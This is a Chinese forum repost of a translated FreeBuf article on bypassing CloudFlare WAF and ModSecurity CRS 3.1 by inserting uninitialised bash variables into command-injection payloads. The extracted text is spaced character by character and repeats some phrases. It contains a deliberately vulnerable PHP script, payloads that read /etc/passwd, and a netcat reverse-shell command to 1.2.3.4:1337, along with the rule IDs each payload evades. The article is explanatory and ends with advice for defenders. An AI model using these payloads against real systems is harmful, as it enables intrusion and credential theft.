搜索

[13663] 2019-01-17_Web应用程序防火墙（WAF）bypass技术讨论（三）

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2019-01-17_Web应用程序防火墙（WAF）bypass技术讨论（三） W e b 应 用 程 序 防 火 墙 （ W A F ） b y p a s s 技 术 讨 论 （ 三 ） 生 如 夏 花   F r e e B u f   2 0 1 9 - 0 1 - 1 7 本 文 探 讨 了 如 何 使 用 未 初 始 化 的 本 文 探 讨 了 如 何 使 用 未 初 始 化 的 b a s h 变 量 来 绕 过 基 于 正 则 表 达 式 过 滤 器 和 模 式 匹 配 的 变 量 来 绕 过 基 于 正 则 表 达 式 过 滤 器 和 模 式 匹 配 的 W A F ， 现 在 让 我 们 看 看 它 ， 现 在 让 我 们 看 看 它 如 何 在 如 何 在 C l o u d F l a r e   W A F 和 和 M o d S e c u r i t y   O W A S P   C R S 3 上 完 成 的 。 上 完 成 的 。 回 顾 ： 回 顾 ： W e b 应 用 程 序 防 火 墙 （ 应 用 程 序 防 火 墙 （ W A F ） ） b y p a s s 技 术 讨 论 （ 一 ） 技 术 讨 论 （ 一 ） 未 初 始 化 的 变 量 未 初 始 化 的 变 量 在 本 文 中 ， 我 将 展 示 一 种 使 用 未 初 始 化 的 b a s h 变 量 的 技 术 ， 来 绕 过 基 于 正 则 表 达 式 的 过 滤 器 和 模 式 匹 配 。 未 初 始 化 的 变 量 具 有 n u l l 值 （ 根 本 没 有 值 ） 。 如 上 所 述 ， 声 明 后 但 不 初 始 化 它 与 将 其 设 置 为 空 值 相 同 。 默 认 情 况 下 ， b a s h 会 像 P e r l 那 样 处 理 未 初 始 化 的 变 量 ， 把 它 们 当 做 空 字 符 串 ， 它 们 可 以 在 参 数 内 使 用 ， 甚 至 可 以 执 行 与 未 初 始 化 变 量 连 接 的 命 令 。 让 我 们 从 一 个 例 子 开 始 吧 。 假 设 我 们 要 执 行 命 令 c a t   / e t c / p a s s w d ， 我 们 可 以 使 用 以 下 语 法 ： c a $ u   / e t c $ u / p a s s w d $ u 其 中 $ u 不 存 在 ， 并 且 被 b a s h 视 为 空 字 符 串 ： e c h o   " u n i n i t i a l i z e d _ v a r i a b l e = $ u n i n i t i a l i z e d _ v a r i a b l e " u n i n i t i a l i z e d _ v a r i a b l e =
这 可 用 于 绕 过 W A F 的 规 则 ， 让 我 们 使 用 C l o u d F l a r e   W A F 和 M o d S e c u r i t y   O W A S P 核 心 规 则 集 3 . 1 进 行 一 些 测 试 。 C l o u d F l a r e   W A F   ( 专 业 配 置 专 业 配 置 ) 和 前 两 篇 文 章 一 样 ， 我 将 在 一 个 非 常 简 单 的 P H P 脚 本 上 测 试 这 种 b y p a s s 技 术 ， 这 个 脚 本 绝 对 容 易 受 到 影 响 而 且 远 离 现 实 场 景 （ 我 希 望 如 此 ） 。 通 过 这 个 测 试 来 评 估 像 C l o u d F l a r e 那 样 的 优 质 服 务 是 愚 蠢 的 。 这 只 是 一 种 在 “ 真 实 ” 场 景 中 更 好 地 解 释 这 种 技 术 的 方 法 ， 这 并 不 意 味 着   C l o u d F l a r e   W A F 比 其 他 人 更 安 全 或 更 不 安 全 。 它 只 是 展 示 为 什 么 需 要 知 道 自 己 写 的 代 码 是 如 何 易 受 攻 击 以 及 开 发 者 可 以 采 取 哪 些 措 施 来 修 复 它 或 开 发 自 定 义 规 则 （ 而 且 ， 在 之 前 的 文 章 中 ， 我 是 使 用 S u c u r i 进 行 此 类 测 试 … 但 本 文 改 变 了 测 试 目 标 ） 。 我 所 做 的 是 启 用 所 有 C l o u d F l a r e   W A F 规 则 并 将 安 全 级 别 配 置 为 高 （ 似 乎 所 有 都 基 于 O W A S P   C R S   2   … … ） 。 简 单 的 P H P 脚 本 ： 这 个 非 常 简 单 的 P H P 脚 本 用 d i g 解 析 G E T 参 数 上 h o s t 的 给 定 主 机 名 ， 例 如 / ? h o s t = w w w . g o o g l e . c o m 。 响 应 是 ： 显 然 ， 仅 仅 通 过 在 主 机 名 后 面 加 一 个 分 号 并 启 动 一 个 新 命 令 就 容 易 受 到 R C E 的 攻 击 ， 例 如 ： / ? h o s t = w w w . g o o g l e . c o m ; l s + / < ? p h p                 i f ( i s s e t ( $ _ G E T [ ' h o s t ' ] ) )   {                                 s y s t e m ( ' d i g   ' . $ _ G E T [ ' h o s t ' ] ) ;                 } ? >
但 是 如 果 我 尝 试 通 过 执 行 c a t   / e t c / p a s s w d 来 读 取 / e t c / p a s s w d 文 件 呢 ？ 让 我 们 尝 试 ： / ? h o s t = w w w . g o o g l e . c o m ; c a t + / e t c / p a s s w d 我 被 阻 止 了 ， 这 很 好 ！ 现 在 我 可 以 尝 试 将 未 初 始 化 的 变 量 放 置 在 / e t c / p a s s w d 来 绕 过 整 个 规 则 集 ， 例 如 ： / ? h o s t = w w w . g o o g l e . c o m ; c a t $ u + / e t c $ u / p a s s w d $ u ， 其 中 $ u 是 我 定 义 的 空 字 符 串 。
正 如 在 上 面 的 屏 幕 截 图 中 看 到 的 ， 我 的 请 求 已 通 过 ， 并 且 / e t c / p a s s w d 文 件 已 泄 露 。 不 是 很 酷 吗 ？ ┌ （ ◉ ͜ ʖ ◉ ） つ ┣ ▇ ▇ ▇ ═ ─ ─ C l o u d F l a r e 有 一 些 特 定 的 规 则 来 防 止 n e t c a t 使 用 来 获 得 反 弹 s h e l l 。 所 以 ， 我 决 定 试 图 绕 过 C l o u d F l a r e   W A F 规 则 集 获 得 反 弹 s h e l l 。 在 这 种 情 况 下 ， 我 只 是 将 C l o u d F l a r e   S p e c i a l s 类 别 所 有 规 则 设 置 为 “ b l o c k ” 。
首 先 尝 试 在 端 口 1 3 3 7 上 使 用 参 数 - e   / b i n / b a s h 执 行 n e t c a t 到 我 的 I P 。
好 消 息 ： C l o u d F l a r e 阻 止 了 我 的 请 求 。 现 在 我 想 尝 试 执 行 相 同 的 命 令 ， 在 n c 参 数 / b i n / b a s h 之 后 和 之 内 添 加 一 些 未 初 始 化 的 b a s h 变 量 ， 如 ： 直 接 绕 过 了 ， 获 得 了 s h e l l 。 M o d S e c u r i t y   O W A S P   C R S 3 . 1 使 用 C R S 3 . 1 后 所 有 b y p a s s 技 术 将 变 得 更 难 ， 特 别 是 将 防 护 等 级 提 高 到 3 （ C R S 3 上 有 4 个 防 护 等 级 ， 但 第 四 个 是 完 全 不 可 能 绕 过 的 ） ， 这 就 是 我 喜 欢 C R S 3 的 众 多 原 因 之 一 ！ 与 C l o u d F l a r e 上 发 生 的 情 况 不 同 ， 在 P a r a n o i a   L e v e l   3 上 配 置 C R S 3 . 1 ， 我 的 第 一 个 测 试 被 规 则 9 3 2 1 0 0   “ U n i x 命 令 注 入 ” 阻 止 ： n c $ u   - e   / b i n $ u / b a s h $ u   1 . 2 . 3 . 4   1 3 3 7
我 该 怎 么 做 才 能 绕 过 这 条 规 则 ？ 我 知 道 ; 被 阻 止 了 ， 但 是 p a y l o a d ; 可 能 会 通 过 … … 所 以 我 想 试 试 ： ? h o s t = w w w . g o o g l e . i t ; + $ u + c a t + / e t c / p a s s w d 太 好 了 ！ 我 绕 过 了 规 则 9 3 2 1 0 0 ， 但 由 于 参 数 主 机 中 的 e t c / p a s s w d 字 符 串 导 致 我 的 请 求 被 阻 止 了 。 我 能 做 的 是 在 e t c / p a s s w d 路 径 中 添 加 更 多 未 初 始 化 的 变 量 ， 如 ： ? h o s t = w w w . g o o g l e . i t ; + $ u + c a t + / e t c $ u / p a s s w d $ u
与 我 对 C l o u d F l a r e   W A F 的 测 试 不 同 ， 使 用 具 有 防 护 等 级 3 的 C R S 3 . 1 绕 过 它 更 难 ， 并 且 在 P H P 脚 本 中 通 过 $ _ G E T [ ‘ h o s t ’ ] 包 含 双 引 号 后 要 绕 过 的 话 则 变 得 非 常 不 可 能 。 不 过 还 是 试 一 试 吧 ： 现 在 ， 为 了 注 入 命 令 ， 分 号 是 不 够 的 … … 我 需 要 处 理 双 引 号 并 注 释 掉 最 后 的 双 引 号 。 例 如 ： 我 知 道 你 在 想 什 么 ： “ 现 在 有 双 引 号 ， 分 号 ， 包 含 变 量 的 R C E 有 效 p a y l o a d 和 注 释 字 符 ， C l o u d F l a r e 会 阻 止 它 ” … … 然 而 事 实 是 并 未 阻 止 。 与 C l o u d F l a r e 不 同 ， 在 O W A S P   C R S 3 上 ， 由 于 两 条 规 则 ， 我 无 法 绕 过 防 护 等 级 3 的 规 则 集 ： 9 4 2 4 6 0   元 字 符 异 常 检 测 警 报   -   重 复 非 字 字 符 ： 由 于 “ ， ; ， / 和 $ 字 符 ， 它 阻 止 了 我 的 请 求 。 < ? p h p                 i f ( i s s e t ( $ _ G E T [ ' h o s t ' ] ) )   {                                 s y s t e m ( ' d i g   " ' . $ _ G E T [ ' h o s t ' ] . ' " ' ) ;                 } ? > / ? h o s t = w w w . g o o g l e . i t " ; c a t + / e t c / p a s s w d + #
9 4 2 2 6 0   检 测 到 数 量 达 到 2 / 3 的 基 本 S Q L 身 份 验 证 绕 过 ： 我 被 此 规 则 阻 止 了 才 尝 试 使 用 较 少 的 特 殊 字 符 。 将 防 护 水 平 降 低 到 2 ， 就 很 有 效 ： / ? h o s t = w w w . g o o g l e . i t “ ; + $ u + c a t + / e t c $ u / p a s s w d + # 结 论 结 论 为 什 么 阻 止 这 种 请 求 如 此 困 难 ？ 为 什 么 W A F 通 常 不 会 阻 止 参 数 值 中 的 美 元 字 符 ？ 因 为 它 会 容 易 出 现 许 多 误 报 。 恕 我 直 言 ， 最 好 的 方 法 是 C R S 3 使 用 的 方 法 ， 只 有 在 单 个 值 中 找 到 4 个 或 更 多 重 复 的 非 单 词 字 符 时 才 会 阻 止 ， 这 比 阻 止 特 定 字 符 更 聪 明 ， 误 报 率 更 低 。 感 谢 阅 读 ！ 参 考 来 源 ： s e c j u i c e ， 生 如 夏 花 编 译 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理